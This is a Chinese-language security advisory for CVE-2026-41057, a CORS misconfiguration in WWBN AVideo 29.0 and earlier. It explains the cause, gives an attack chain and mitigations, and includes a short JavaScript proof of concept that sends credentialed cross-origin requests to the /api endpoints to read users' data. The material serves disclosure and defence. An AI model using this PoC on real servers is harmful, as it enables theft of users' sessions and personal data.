IPBUF安全漏洞报告
English
CVE-2026-41057 CVSS 7.1 高危

CVE-2026-41057 AVideo跨域资源共享漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-41057
漏洞类型
CORS配置错误
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WWBN AVideo

相关标签

CORS漏洞敏感信息泄露WWBN AVideoCVE-2026-41057Web安全

漏洞概述

WWBN AVideo是一个开源视频平台。在29.0及以下版本中,由于CORS(跨域资源共享)来源验证修复不完整,导致存在安全漏洞。攻击者可以利用该漏洞向任意API端点发起跨域凭据请求,并读取包含用户个人身份信息(PII)、电子邮件、管理员状态和会话敏感数据的认证响应。

技术细节

该漏洞源于WWBN AVideo在版本29.0及以下中对CORS来源验证的修复不完整。尽管之前尝试修复,但仍有两条独立的代码路径会无条件反射任意的`Origin`头部,并允许所有`/api/*`端点携带凭据。首先,`plugin/API/router.php`文件的4-8行在应用程序代码运行前无条件地反射任何来源,导致后续的检查失效。其次,`get.json.php`和`set.json.php`调用的`allowOrigin(true)`函数会反射任何来源并设置`Access-Control-Allow-Credentials: true`。这种配置使得浏览器允许跨域读取响应内容,结合凭据允许,攻击者可以构造恶意网页,在受害者访问时利用其浏览器向目标系统发送请求,从而完全接管受害者的会话上下文并窃取敏感数据。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出使用WWBN AVideo 29.0及以下版本的目标网站。
STEP 2
步骤2:诱导
攻击者诱导受害者(已登录的管理员或用户)访问包含恶意JavaScript代码的网页。
STEP 3
步骤3:利用
受害者的浏览器在后台向目标AVideo服务器的`/api/*`端点发送跨域请求,自动携带用户的认证Cookie。
STEP 4
步骤4:数据窃取
由于服务器错误地反射了Origin并允许Credentials,攻击者的网页能够读取响应内容,获取用户敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Proof of Concept for CVE-2026-41057 // This script demonstrates how an attacker can steal sensitive data via CORS misconfiguration. async function exploit() { const targetUrl = 'https://[target-avideo-domain]/api/get.json.php'; // Example endpoint try { const response = await fetch(targetUrl, { method: 'GET', credentials: 'include', // Essential: Sends cookies with the request headers: { 'Content-Type': 'application/json' } }); if (response.ok) { const data = await response.json(); console.log('[+] Leaked PII/Sensitive Data:', data); // Data would be exfiltrated to attacker's server here } else { console.log('[-] Request failed'); } } catch (error) { console.error('Error:', error); } } exploit();

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
建议立即检查并更新AVideo平台至最新版本。如果无法立即升级,应通过Web应用防火墙(WAF)拦截对`/api/*`端点的异常跨域请求,或严格检查响应头中的CORS配置是否符合安全标准,防止敏感数据泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表